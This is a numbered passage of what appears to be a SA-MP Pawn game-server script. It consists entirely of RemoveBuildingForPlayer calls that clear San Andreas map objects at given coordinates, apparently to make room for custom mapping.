  615.         RemoveBuildingForPlayer(playerid, 3675, 205.6484, 1392.1563, 16.2969, 0.25);
  616.         RemoveBuildingForPlayer(playerid, 3675, 205.6484, 1394.1328, 23.7813, 0.25);
  617.         RemoveBuildingForPlayer(playerid, 3675, 207.3594, 1390.5703, 19.1484, 0.25);
  618.         RemoveBuildingForPlayer(playerid, 3675, 206.5078, 1387.8516, 27.4922, 0.25);
  619.         RemoveBuildingForPlayer(playerid, 3673, 199.7578, 1397.8828, 33.4141, 0.25);
  620.         RemoveBuildingForPlayer(playerid, 3257, 221.5703, 1374.9688, 9.5859, 0.25);
  621.         RemoveBuildingForPlayer(playerid, 3258, 221.1797, 1390.2969, 9.5859, 0.25);
  622.         RemoveBuildingForPlayer(playerid, 3675, 203.9531, 1409.9141, 16.2969, 0.25);
  623.         RemoveBuildingForPlayer(playerid, 3674, 199.3828, 1407.1172, 35.8984, 0.25);
  624.         RemoveBuildingForPlayer(playerid, 3675, 204.6406, 1409.8516, 11.4063, 0.25);
  625.         RemoveBuildingForPlayer(playerid, 3675, 206.5078, 1404.2344, 18.2969, 0.25);
  626.         RemoveBuildingForPlayer(playerid, 3675, 206.5078, 1400.6563, 22.4688, 0.25);
  627.         RemoveBuildingForPlayer(playerid, 3259, 221.7031, 1404.5078, 9.5859, 0.25);
  628.         RemoveBuildingForPlayer(playerid, 3675, 207.3594, 1409.0000, 19.7578, 0.25);
  629.         RemoveBuildingForPlayer(playerid, 3257, 223.1797, 1421.1875, 9.5859, 0.25);
  630.         RemoveBuildingForPlayer(playerid, 3258, 212.0781, 1426.0313, 9.5859, 0.25);
  631.         RemoveBuildingForPlayer(playerid, 3636, 166.7891, 1426.9141, 17.0938, 0.25);
  632.         RemoveBuildingForPlayer(playerid, 3636, 133.7422, 1426.9141, 17.0938, 0.25);
  633.         RemoveBuildingForPlayer(playerid, 3255, 246.5625, 1361.2422, 9.6875, 0.25);
  634.         RemoveBuildingForPlayer(playerid, 3255, 246.5625, 1385.8906, 9.6875, 0.25);
  635.         RemoveBuildingForPlayer(playerid, 3255, 246.5625, 1410.5391, 9.6875, 0.25);
  636.         RemoveBuildingForPlayer(playerid, 3258, 183.7422, 1444.8672, 9.5859, 0.25);
  637.         RemoveBuildingForPlayer(playerid, 3259, 210.4141, 1444.8438, 9.5859, 0.25);
  638.         RemoveBuildingForPlayer(playerid, 3258, 222.5078, 1444.6953, 9.5859, 0.25);
  639.         RemoveBuildingForPlayer(playerid, 16086, 232.2891, 1434.4844, 13.5000, 0.25);
  640.         RemoveBuildingForPlayer(playerid, 3673, 192.2734, 1456.1250, 33.4141, 0.25);
  641.         RemoveBuildingForPlayer(playerid, 3674, 183.0391, 1455.7500, 35.8984, 0.25);
  642.         RemoveBuildingForPlayer(playerid, 3636, 133.7422, 1459.6406, 17.0938, 0.25);
  643.         RemoveBuildingForPlayer(playerid, 3675, 196.0234, 1462.0156, 10.1172, 0.25);
  644.         RemoveBuildingForPlayer(playerid, 3675, 198.0000, 1462.0156, 16.2969, 0.25);
  645.         RemoveBuildingForPlayer(playerid, 3675, 196.0234, 1462.0156, 23.7813, 0.25);
  646.         RemoveBuildingForPlayer(playerid, 3675, 180.2422, 1460.3203, 16.2969, 0.25);
  647.         RemoveBuildingForPlayer(playerid, 3675, 180.3047, 1461.0078, 11.4063, 0.25);
  648.         RemoveBuildingForPlayer(playerid, 3256, 218.2578, 1467.5391, 9.5859, 0.25);
  649.         RemoveBuildingForPlayer(playerid, 3675, 199.5859, 1463.7266, 19.1484, 0.25);
  650.         RemoveBuildingForPlayer(playerid, 3675, 181.1563, 1463.7266, 19.7578, 0.25);
  651.         RemoveBuildingForPlayer(playerid, 3675, 185.9219, 1462.8750, 18.2969, 0.25);
  652.         RemoveBuildingForPlayer(playerid, 3675, 202.3047, 1462.8750, 27.4922, 0.25);
  653.         RemoveBuildingForPlayer(playerid, 3675, 189.5000, 1462.8750, 22.4688, 0.25);
  654.         RemoveBuildingForPlayer(playerid, 3255, 246.5625, 1435.1953, 9.6875, 0.25);
  655.         RemoveBuildingForPlayer(playerid, 3675, 254.6797, 1451.8281, 27.4922, 0.25);
  656.         RemoveBuildingForPlayer(playerid, 3675, 253.8203, 1458.1094, 23.7813, 0.25);
  657.         RemoveBuildingForPlayer(playerid, 3675, 255.5313, 1454.5469, 19.1484, 0.25);
  658.         RemoveBuildingForPlayer(playerid, 3675, 253.8203, 1456.1328, 16.2969, 0.25);
  659.         RemoveBuildingForPlayer(playerid, 3675, 253.8203, 1458.1094, 10.1172, 0.25);
  660.         RemoveBuildingForPlayer(playerid, 3259, 262.5078, 1465.2031, 9.5859, 0.25);
  661.         RemoveBuildingForPlayer(playerid, 3675, 254.6797, 1468.2109, 18.2969, 0.25);
  662.         RemoveBuildingForPlayer(playerid, 3673, 247.9297, 1461.8594, 33.4141, 0.25);
  663.         RemoveBuildingForPlayer(playerid, 3675, 254.6797, 1464.6328, 22.4688, 0.25);
  664.         RemoveBuildingForPlayer(playerid, 3674, 247.5547, 1471.0938, 35.8984, 0.25);
  665.         RemoveBuildingForPlayer(playerid, 3675, 255.5313, 1472.9766, 19.7578, 0.25);
  666.         RemoveBuildingForPlayer(playerid, 3675, 252.8125, 1473.8281, 11.4063, 0.25);
  667.         RemoveBuildingForPlayer(playerid, 3675, 252.1250, 1473.8906, 16.2969, 0.25);
  668.         RemoveBuildingForPlayer(playerid, 18527, -2100.2188, -2285.5000, 33.1875, 0.25);
  669.         RemoveBuildingForPlayer(playerid, 18200, -2100.2188, -2285.5000, 33.1875, 0.25);
  670.         RemoveBuildingForPlayer(playerid, 18620, -2100.2188, -2285.5000, 33.1875, 0.25);
  671.         RemoveBuildingForPlayer(playerid, 10765, -1144.7109, 347.9375, 13.2500, 0.25);
  672.         RemoveBuildingForPlayer(playerid, 1278, -1174.4297, -479.6641, 25.3359, 0.25);
  673.         RemoveBuildingForPlayer(playerid, 1278, -1135.6172, -295.7813, 25.3359, 0.25);
  674.         RemoveBuildingForPlayer(playerid, 10938, -1909.5547, 497.2188, 25.7109, 0.25);
  675.         RemoveBuildingForPlayer(playerid, 11144, -1909.5547, 497.2188, 25.7109, 0.25);
  676.         RemoveBuildingForPlayer(playerid, 792, -1995.4766, 298.0859, 34.2734, 0.25);
  677.         RemoveBuildingForPlayer(playerid, 1615, -1966.8984, 252.1484, 43.6563, 0.25);
  678.         RemoveBuildingForPlayer(playerid, 1468, 2522.1016, -1665.6484, 15.3281, 0.25);
  679.         RemoveBuildingForPlayer(playerid, 17971, 2484.5313, -1667.6094, 21.4375, 0.25);
  680.         RemoveBuildingForPlayer(playerid, 11321, -1947.2188, 280.8203, 45.2734, 0.25);
  681.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 296.3984, 40.5859, 0.25);
  682.         RemoveBuildingForPlayer(playerid, 632, -1957.2344, 297.8672, 40.5000, 0.25);
  683.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 302.8594, 36.4688, 0.25);
  684.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 302.8594, 42.0469, 0.25);
  685.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 299.8672, 40.5859, 0.25);
  686.         RemoveBuildingForPlayer(playerid, 957, -1962.4688, 303.1563, 44.0000, 0.25);
  687.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 306.7891, 40.5859, 0.25);
  688.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 303.3281, 40.5859, 0.25);
  689.         RemoveBuildingForPlayer(playerid, 625, -1960.8438, 305.3516, 35.3672, 0.25);
  690.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 303.1563, 44.0000, 0.25);
  691.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 303.1563, 38.4297, 0.25);
  692.         RemoveBuildingForPlayer(playerid, 632, -1950.3047, 306.9297, 40.5000, 0.25);
  693.         RemoveBuildingForPlayer(playerid, 632, -1950.1953, 303.6563, 40.5000, 0.25);
  694.         RemoveBuildingForPlayer(playerid, 632, -1950.7500, 307.0938, 34.8906, 0.25);
  695.         RemoveBuildingForPlayer(playerid, 632, -1950.4141, 304.8906, 34.8906, 0.25);
  696.         RemoveBuildingForPlayer(playerid, 632, -1952.8672, 307.1719, 34.8906, 0.25);
  697.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 254.8438, 40.5859, 0.25);
  698.         RemoveBuildingForPlayer(playerid, 632, -1957.3516, 254.7578, 40.5000, 0.25);
  699.         RemoveBuildingForPlayer(playerid, 1615, -1966.8984, 252.1484, 43.6563, 0.25);
  700.         RemoveBuildingForPlayer(playerid, 3851, -1947.1953, 253.1094, 42.0469, 0.25);
  701.         RemoveBuildingForPlayer(playerid, 632, -1943.2422, 256.9609, 34.8906, 0.25);
  702.         RemoveBuildingForPlayer(playerid, 1616, -1940.5703, 250.8281, 45.3828, 0.25);
  703.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 258.7734, 36.4688, 0.25);
  704.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 258.7734, 42.0469, 0.25);
  705.         RemoveBuildingForPlayer(playerid, 3851, -1941.5391, 258.7734, 42.0469, 0.25);
  706.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 258.3047, 40.5859, 0.25);
  707.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 259.6406, 44.0000, 0.25);
  708.         RemoveBuildingForPlayer(playerid, 957, -1962.4688, 259.6406, 44.0000, 0.25);
  709.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 259.6406, 38.4297, 0.25);
  710.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 261.7734, 40.5859, 0.25);
  711.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 271.9141, 36.4688, 0.25);
  712.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 271.9141, 42.0469, 0.25);
  713.         RemoveBuildingForPlayer(playerid, 957, -1962.4688, 270.5156, 44.0000, 0.25);
  714.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 268.6953, 40.5859, 0.25);
  715.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 265.2344, 40.5859, 0.25);
  716.         RemoveBuildingForPlayer(playerid, 625, -1960.8438, 264.7578, 35.3672, 0.25);
  717.         RemoveBuildingForPlayer(playerid, 632, -1957.6094, 268.1875, 40.5000, 0.25);
  718.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 270.5156, 44.0000, 0.25);
  719.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 270.5156, 38.4297, 0.25);
  720.         RemoveBuildingForPlayer(playerid, 632, -1941.7969, 265.3750, 40.5000, 0.25);
  721.         RemoveBuildingForPlayer(playerid, 3851, -1941.5391, 271.9141, 42.0469, 0.25);
  722.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 272.1563, 40.5859, 0.25);
  723.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 275.6250, 40.5859, 0.25);
  724.         RemoveBuildingForPlayer(playerid, 625, -1960.8438, 277.5859, 35.3672, 0.25);
  725.         RemoveBuildingForPlayer(playerid, 632, -1949.1953, 276.1719, 40.5000, 0.25);
  726.         RemoveBuildingForPlayer(playerid, 632, -1950.6406, 275.9219, 34.8906, 0.25);
  727.         RemoveBuildingForPlayer(playerid, 632, -1948.8828, 276.0703, 34.8906, 0.25);
  728.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 285.0625, 36.4688, 0.25);
  729.         RemoveBuildingForPlayer(playerid, 3851, -1965.2188, 285.0625, 42.0469, 0.25);
  730.         RemoveBuildingForPlayer(playerid, 957, -1962.4688, 281.3984, 44.0000, 0.25);
  731.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 286.0078, 40.5859, 0.25);
  732.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 282.5469, 40.5859, 0.25);
  733.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 279.0859, 40.5859, 0.25);
  734.         RemoveBuildingForPlayer(playerid, 957, -1962.4688, 292.2734, 44.0000, 0.25);
  735.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 292.9375, 40.5859, 0.25);
  736.         RemoveBuildingForPlayer(playerid, 3850, -1959.3750, 289.4766, 40.5859, 0.25);
  737.         RemoveBuildingForPlayer(playerid, 3850, -1953.5313, 279.2813, 40.5859, 0.25);
  738.         RemoveBuildingForPlayer(playerid, 632, -1950.6016, 278.3594, 34.8906, 0.25);
  739.         RemoveBuildingForPlayer(playerid, 11317, -1947.2188, 280.8203, 45.2734, 0.25);
  740.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 281.3984, 44.0000, 0.25);
  741.         RemoveBuildingForPlayer(playerid, 3850, -1953.5313, 282.7500, 40.5859, 0.25);
  742.         RemoveBuildingForPlayer(playerid, 632, -1957.9219, 284.0859, 40.5000, 0.25);
  743.         RemoveBuildingForPlayer(playerid, 3850, -1953.5313, 286.2109, 40.5859, 0.25);
  744.         RemoveBuildingForPlayer(playerid, 3850, -1951.7969, 287.9453, 40.5859, 0.25);
  745.         RemoveBuildingForPlayer(playerid, 632, -1950.5313, 289.2734, 40.5000, 0.25);
  746.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 292.2734, 44.0000, 0.25);
  747.         RemoveBuildingForPlayer(playerid, 957, -1951.9531, 292.2734, 38.4297, 0.25);
  748.         RemoveBuildingForPlayer(playerid, 3785, -1921.7813, 278.7031, 23.4297, 0.25);
  749.         RemoveBuildingForPlayer(playerid, 3368, 311.1328, 2614.6172, 15.4766, 0.25);
  750.         RemoveBuildingForPlayer(playerid, 3368, 338.0078, 2587.7422, 15.4766, 0.25);
  751.         RemoveBuildingForPlayer(playerid, 3368, 323.0078, 2411.3828, 15.4766, 0.25);
  752.         RemoveBuildingForPlayer(playerid, 3369, 349.8750, 2438.2500, 15.4766, 0.25);
  753.         RemoveBuildingForPlayer(playerid, 3367, 284.2656, 2641.4844, 15.4766, 0.25);
  754.         RemoveBuildingForPlayer(playerid, 3367, 284.2656, 2587.7422, 15.4766, 0.25);
  755.         RemoveBuildingForPlayer(playerid, 3367, 296.1406, 2438.2500, 15.4766, 0.25);
  756.         RemoveBuildingForPlayer(playerid, 3271, 296.1406, 2438.2500, 15.4766, 0.25);
  757.         RemoveBuildingForPlayer(playerid, 3271, 284.2656, 2587.7422, 15.4766, 0.25);
  758.         RemoveBuildingForPlayer(playerid, 3271, 284.2656, 2641.4844, 15.4766, 0.25);
  759.         RemoveBuildingForPlayer(playerid, 3270, 323.0078, 2411.3828, 15.4766, 0.25);
  760.         RemoveBuildingForPlayer(playerid, 3269, 349.8750, 2438.2500, 15.4766, 0.25);
  761.         RemoveBuildingForPlayer(playerid, 3270, 338.0078, 2587.7422, 15.4766, 0.25);
  762.         RemoveBuildingForPlayer(playerid, 3270, 311.1328, 2614.6172, 15.4766, 0.25);
  763.         RemoveBuildingForPlayer(playerid, 5156, 2838.0391, -2423.8828, 10.9609, 0.25);
  764.         RemoveBuildingForPlayer(playerid, 5159, 2838.0313, -2371.9531, 7.2969, 0.25);
  765.         RemoveBuildingForPlayer(playerid, 5160, 2829.9531, -2479.5703, 5.2656, 0.25);
  766.         RemoveBuildingForPlayer(playerid, 5161, 2838.0234, -2358.4766, 21.3125, 0.25);
  767.         RemoveBuildingForPlayer(playerid, 5162, 2838.0391, -2423.8828, 10.9609, 0.25);
  768.         RemoveBuildingForPlayer(playerid, 5163, 2838.0391, -2532.7734, 17.0234, 0.25);
  769.         RemoveBuildingForPlayer(playerid, 5164, 2838.1406, -2447.8438, 15.7266, 0.25);
  770.         RemoveBuildingForPlayer(playerid, 5165, 2838.0313, -2520.1875, 18.4141, 0.25);
  771.         RemoveBuildingForPlayer(playerid, 5166, 2829.9531, -2479.5703, 5.2656, 0.25);
  772.         RemoveBuildingForPlayer(playerid, 5167, 2838.0313, -2371.9531, 7.2969, 0.25);
  773.         RemoveBuildingForPlayer(playerid, 3689, 2685.3828, -2366.0547, 19.9531, 0.25);
  774.         RemoveBuildingForPlayer(playerid, 3689, 2430.5859, -2583.9453, 20.5234, 0.25);
  775.         RemoveBuildingForPlayer(playerid, 3707, 2716.2344, -2452.5938, 20.2031, 0.25);
  776.         RemoveBuildingForPlayer(playerid, 3707, 2720.3203, -2530.9141, 19.9766, 0.25);
  777.         RemoveBuildingForPlayer(playerid, 3707, 2480.8594, -2460.0547, 20.4922, 0.25);
  778.         RemoveBuildingForPlayer(playerid, 3707, 2539.1797, -2424.3594, 20.4922, 0.25);
  779.         RemoveBuildingForPlayer(playerid, 3690, 2685.3828, -2366.0547, 19.9531, 0.25);
  780.         RemoveBuildingForPlayer(playerid, 3690, 2430.5859, -2583.9453, 20.5234, 0.25);
  781.         RemoveBuildingForPlayer(playerid, 3688, 2387.8047, -2580.8672, 17.7891, 0.25);
  782.         RemoveBuildingForPlayer(playerid, 3688, 2450.8750, -2680.4531, 17.7891, 0.25);
  783.         RemoveBuildingForPlayer(playerid, 3687, 2503.5391, -2366.5078, 16.0469, 0.25);
  784.         RemoveBuildingForPlayer(playerid, 3687, 2475.2578, -2394.7891, 16.0469, 0.25);
  785.         RemoveBuildingForPlayer(playerid, 3687, 2450.5078, -2419.5391, 16.0469, 0.25);
  786.         RemoveBuildingForPlayer(playerid, 3686, 2464.3047, -2617.0156, 16.0469, 0.25);
  787.         RemoveBuildingForPlayer(playerid, 3710, 2788.1563, -2417.7891, 16.7266, 0.25);
  788.         RemoveBuildingForPlayer(playerid, 3710, 2788.1563, -2455.8828, 16.7266, 0.25);
  789.         RemoveBuildingForPlayer(playerid, 3710, 2788.1563, -2493.9844, 16.7266, 0.25);
  790.         RemoveBuildingForPlayer(playerid, 3709, 2511.9609, -2608.0156, 17.0703, 0.25);
  791.         RemoveBuildingForPlayer(playerid, 3709, 2511.9609, -2571.2422, 17.0703, 0.25);
  792.         RemoveBuildingForPlayer(playerid, 3709, 2511.9609, -2535.4531, 17.0703, 0.25);
  793.         RemoveBuildingForPlayer(playerid, 3709, 2660.4766, -2429.2969, 17.0703, 0.25);
  794.         RemoveBuildingForPlayer(playerid, 3709, 2639.5469, -2429.2969, 17.0703, 0.25);
  795.         RemoveBuildingForPlayer(playerid, 3709, 2618.8594, -2429.2969, 17.0703, 0.25);
  796.         RemoveBuildingForPlayer(playerid, 3708, 2720.3203, -2530.9141, 19.9766, 0.25);
  797.         RemoveBuildingForPlayer(playerid, 3708, 2716.2344, -2452.5938, 20.2031, 0.25);
  798.         RemoveBuildingForPlayer(playerid, 3708, 2480.8594, -2460.0547, 20.4922, 0.25);
  799.         RemoveBuildingForPlayer(playerid, 3708, 2539.1797, -2424.3594, 20.4922, 0.25);
  800.         RemoveBuildingForPlayer(playerid, 3710, 2415.4609, -2468.5781, 16.7266, 0.25);
  801.         RemoveBuildingForPlayer(playerid, 3744, 2771.0703, -2372.4453, 15.2188, 0.25);
  802.         RemoveBuildingForPlayer(playerid, 3744, 2789.2109, -2377.6250, 15.2188, 0.25);
  803.         RemoveBuildingForPlayer(playerid, 3744, 2774.7969, -2386.8516, 15.2188, 0.25);
  804.         RemoveBuildingForPlayer(playerid, 3744, 2771.0703, -2520.5469, 15.2188, 0.25);
  805.         RemoveBuildingForPlayer(playerid, 3744, 2774.7969, -2534.9531, 15.2188, 0.25);
  806.         RemoveBuildingForPlayer(playerid, 3744, 2437.2109, -2490.0938, 15.2188, 0.25);
  807.         RemoveBuildingForPlayer(playerid, 3744, 2399.4219, -2490.6797, 15.2188, 0.25);
  808.         RemoveBuildingForPlayer(playerid, 3744, 2391.8750, -2503.5078, 15.2188, 0.25);
  809.         RemoveBuildingForPlayer(playerid, 3744, 2551.5313, -2472.6953, 15.2188, 0.25);
  810.         RemoveBuildingForPlayer(playerid, 3709, 2544.2500, -2524.0938, 16.4453, 0.25);
  811.         RemoveBuildingForPlayer(playerid, 3709, 2544.2500, -2548.8125, 16.7031, 0.25);
  812.         RemoveBuildingForPlayer(playerid, 3746, 2814.2656, -2356.5703, 25.5156, 0.25);
  813.         RemoveBuildingForPlayer(playerid, 3746, 2814.2656, -2521.4922, 25.5156, 0.25);
  814.         RemoveBuildingForPlayer(playerid, 3746, 2568.4453, -2483.3906, 25.5156, 0.25);
  815.         RemoveBuildingForPlayer(playerid, 3746, 2563.1563, -2563.5781, 25.5156, 0.25);
  816.         RemoveBuildingForPlayer(playerid, 3746, 2531.7031, -2629.2266, 25.5156, 0.25);
  817.         RemoveBuildingForPlayer(playerid, 3746, 2519.8047, -2701.8750, 25.5156, 0.25);
  818.         RemoveBuildingForPlayer(playerid, 3746, 2381.1016, -2701.8750, 25.5156, 0.25);
  819.         RemoveBuildingForPlayer(playerid, 5325, 2488.9922, -2509.2578, 18.5156, 0.25);
  820.         RemoveBuildingForPlayer(playerid, 3746, 2422.7031, -2411.9219, 25.5156, 0.25);
  821.         RemoveBuildingForPlayer(playerid, 3746, 2472.4453, -2362.9375, 25.5156, 0.25);
  822.         RemoveBuildingForPlayer(playerid, 3758, 2368.1641, -2523.8672, 3.0391, 0.25);
  823.         RemoveBuildingForPlayer(playerid, 5335, 2829.9531, -2479.5703, 5.2656, 0.25);
  824.         RemoveBuildingForPlayer(playerid, 5336, 2829.9531, -2479.5703, 5.2656, 0.25);
  825.         RemoveBuildingForPlayer(playerid, 3770, 2795.8281, -2394.2422, 14.1719, 0.25);
  826.         RemoveBuildingForPlayer(playerid, 3770, 2746.4063, -2453.4844, 14.0781, 0.25);
  827.         RemoveBuildingForPlayer(playerid, 3770, 2507.3672, -2640.0703, 14.0781, 0.25);
  828.         RemoveBuildingForPlayer(playerid, 3769, 2464.1250, -2571.6328, 15.1641, 0.25);
  829.         RemoveBuildingForPlayer(playerid, 3769, 2400.9063, -2577.3359, 15.1641, 0.25);
  830.         RemoveBuildingForPlayer(playerid, 5352, 2838.1953, -2488.6641, 29.3125, 0.25);
  831.         RemoveBuildingForPlayer(playerid, 3620, 2381.1016, -2701.8750, 25.5156, 0.25);
  832.         RemoveBuildingForPlayer(playerid, 1278, 2406.5469, -2695.0156, 26.6719, 0.25);
  833.         RemoveBuildingForPlayer(playerid, 1226, 2387.0547, -2667.7422, 16.4688, 0.25);
  834.         RemoveBuildingForPlayer(playerid, 1413, 2392.1172, -2653.5625, 13.9375, 0.25);
  835.         RemoveBuildingForPlayer(playerid, 1413, 2386.8438, -2653.5078, 13.9375, 0.25);
  836.         RemoveBuildingForPlayer(playerid, 1413, 2397.3984, -2653.6250, 13.9375, 0.25);
  837.         RemoveBuildingForPlayer(playerid, 1412, 2402.6719, -2653.6406, 13.9375, 0.25);
  838.         RemoveBuildingForPlayer(playerid, 1413, 2407.9453, -2653.6484, 13.9375, 0.25);
  839.         RemoveBuildingForPlayer(playerid, 1278, 2376.3281, -2630.0000, 26.6719, 0.25);
  840.         RemoveBuildingForPlayer(playerid, 1226, 2410.9766, -2632.8750, 16.4688, 0.25);
  841.         RemoveBuildingForPlayer(playerid, 1278, 2376.3281, -2575.8750, 26.6719, 0.25);
  842.         RemoveBuildingForPlayer(playerid, 3753, 2368.1641, -2523.8672, 3.0391, 0.25);
  843.         RemoveBuildingForPlayer(playerid, 3621, 2387.8047, -2580.8672, 17.7891, 0.25);
  844.         RemoveBuildingForPlayer(playerid, 3574, 2391.8750, -2503.5078, 15.2188, 0.25);
  845.         RemoveBuildingForPlayer(playerid, 3625, 2400.9063, -2577.3359, 15.1641, 0.25);
  846.         RemoveBuildingForPlayer(playerid, 1226, 2410.9766, -2562.8516, 16.4688, 0.25);
  847.         RemoveBuildingForPlayer(playerid, 1226, 2410.9766, -2535.2422, 16.4688, 0.25);
  848.         RemoveBuildingForPlayer(playerid, 3574, 2399.4219, -2490.6797, 15.2188, 0.25);
  849.         RemoveBuildingForPlayer(playerid, 3624, 2415.4609, -2468.5781, 16.7266, 0.25);
  850.         RemoveBuildingForPlayer(playerid, 3620, 2519.8047, -2701.8750, 25.5156, 0.25);
  851.         RemoveBuildingForPlayer(playerid, 1278, 2492.2031, -2695.0156, 26.6719, 0.25);
  852.         RemoveBuildingForPlayer(playerid, 3621, 2450.8750, -2680.4531, 17.7891, 0.25);
  853.         RemoveBuildingForPlayer(playerid, 1226, 2478.6016, -2662.3828, 16.2969, 0.25);
  854.         RemoveBuildingForPlayer(playerid, 1226, 2424.2969, -2658.9844, 16.2969, 0.25);
  855.         RemoveBuildingForPlayer(playerid, 1635, 2430.5781, -2653.9453, 23.7188, 0.25);
  856.         RemoveBuildingForPlayer(playerid, 1226, 2450.0156, -2632.7734, 16.3594, 0.25);
  857.         RemoveBuildingForPlayer(playerid, 1306, 2469.6016, -2645.3203, 19.8438, 0.25);
  858.         RemoveBuildingForPlayer(playerid, 3578, 2470.1406, -2628.2656, 13.1719, 0.25);
  859.         RemoveBuildingForPlayer(playerid, 3626, 2507.3672, -2640.0703, 14.0781, 0.25);
  860.         RemoveBuildingForPlayer(playerid, 3620, 2531.7031, -2629.2266, 25.5156, 0.25);
  861.         RemoveBuildingForPlayer(playerid, 3627, 2464.3047, -2617.0156, 16.0469, 0.25);
  862.         RemoveBuildingForPlayer(playerid, 1226, 2450.0156, -2604.9297, 16.3594, 0.25);
  863.         RemoveBuildingForPlayer(playerid, 1306, 2469.6016, -2579.9844, 19.8438, 0.25);
  864.         RemoveBuildingForPlayer(playerid, 3625, 2464.1250, -2571.6328, 15.1641, 0.25);
  865.         RemoveBuildingForPlayer(playerid, 1226, 2489.3516, -2625.7109, 16.2969, 0.25);
  866.         RemoveBuildingForPlayer(playerid, 1306, 2498.3438, -2612.6563, 19.8438, 0.25);
  867.         RemoveBuildingForPlayer(playerid, 1413, 2496.5547, -2585.1797, 13.9063, 0.25);
  868.         RemoveBuildingForPlayer(playerid, 1226, 2489.3516, -2566.2734, 16.2969, 0.25);
  869.         RemoveBuildingForPlayer(playerid, 1413, 2501.8359, -2585.2422, 13.9063, 0.25);
  870.         RemoveBuildingForPlayer(playerid, 1635, 2511.8359, -2622.6172, 17.3906, 0.25);
  871.         RemoveBuildingForPlayer(playerid, 3623, 2511.9609, -2608.0156, 17.0703, 0.25);
  872.         RemoveBuildingForPlayer(playerid, 3623, 2511.9609, -2571.2422, 17.0703, 0.25);
  873.         RemoveBuildingForPlayer(playerid, 1226, 2450.0156, -2563.2188, 16.3594, 0.25);
  874.         RemoveBuildingForPlayer(playerid, 1413, 2496.5547, -2557.3359, 13.9063, 0.25);
  875.         RemoveBuildingForPlayer(playerid, 1413, 2501.8359, -2557.3984, 13.9063, 0.25);
  876.         RemoveBuildingForPlayer(playerid, 1306, 2498.3438, -2547.3203, 19.8438, 0.25);
  877.         RemoveBuildingForPlayer(playerid, 1278, 2470.2734, -2539.0234, 26.6719, 0.25);
  878.         RemoveBuildingForPlayer(playerid, 1226, 2450.0156, -2535.5703, 16.3594, 0.25);
  879.         RemoveBuildingForPlayer(playerid, 1226, 2480.3281, -2536.4375, 16.3594, 0.25);
  880.         RemoveBuildingForPlayer(playerid, 3578, 2470.1406, -2530.5547, 13.1719, 0.25);
  881.         RemoveBuildingForPlayer(playerid, 1306, 2469.6016, -2514.6484, 19.8438, 0.25);
  882.         RemoveBuildingForPlayer(playerid, 1226, 2435.8203, -2512.4844, 16.4688, 0.25);
  883.         RemoveBuildingForPlayer(playerid, 3574, 2437.2109, -2490.0938, 15.2188, 0.25);
  884.         RemoveBuildingForPlayer(playerid, 1306, 2498.3438, -2481.9766, 19.8438, 0.25);
  885.         RemoveBuildingForPlayer(playerid, 1635, 2471.5859, -2494.0703, 15.0781, 0.25);
  886.         RemoveBuildingForPlayer(playerid, 1306, 2444.3281, -2435.0625, 19.8438, 0.25);
  887.         RemoveBuildingForPlayer(playerid, 1226, 2461.9141, -2444.3438, 16.3672, 0.25);
  888.         RemoveBuildingForPlayer(playerid, 3578, 2526.4297, -2561.3047, 13.1719, 0.25);
  889.         RemoveBuildingForPlayer(playerid, 3623, 2544.2500, -2548.8125, 16.7031, 0.25);
  890.         RemoveBuildingForPlayer(playerid, 3623, 2511.9609, -2535.4531, 17.0703, 0.25);
  891.         RemoveBuildingForPlayer(playerid, 3623, 2544.2500, -2524.0938, 16.4453, 0.25);
  892.         RemoveBuildingForPlayer(playerid, 1306, 2533.3906, -2514.1094, 19.8438, 0.25);
  893.         RemoveBuildingForPlayer(playerid, 1226, 2528.4844, -2508.3047, 16.3594, 0.25);
  894.         RemoveBuildingForPlayer(playerid, 1278, 2533.6172, -2461.6875, 26.6719, 0.25);
  895.         RemoveBuildingForPlayer(playerid, 3574, 2551.5313, -2472.6953, 15.2188, 0.25);
  896.         RemoveBuildingForPlayer(playerid, 3620, 2563.1563, -2563.5781, 25.5156, 0.25);
  897.         RemoveBuildingForPlayer(playerid, 3620, 2568.4453, -2483.3906, 25.5156, 0.25);
  898.         RemoveBuildingForPlayer(playerid, 1226, 2624.3281, -2452.1484, 16.4141, 0.25);
  899.         RemoveBuildingForPlayer(playerid, 1635, 2459.3359, -2427.8281, 16.7422, 0.25);
  900.         RemoveBuildingForPlayer(playerid, 3622, 2450.5078, -2419.5391, 16.0469, 0.25);
  901.         RemoveBuildingForPlayer(playerid, 3578, 2468.8594, -2413.5234, 13.1719, 0.25);
  902.         RemoveBuildingForPlayer(playerid, 1226, 2482.2031, -2412.1094, 16.3203, 0.25);
  903.         RemoveBuildingForPlayer(playerid, 3620, 2422.7031, -2411.9219, 25.5156, 0.25);
  904.         RemoveBuildingForPlayer(playerid, 1226, 2502.3281, -2404.0781, 16.3672, 0.25);
  905.         RemoveBuildingForPlayer(playerid, 1635, 2483.7188, -2403.3438, 16.7422, 0.25);
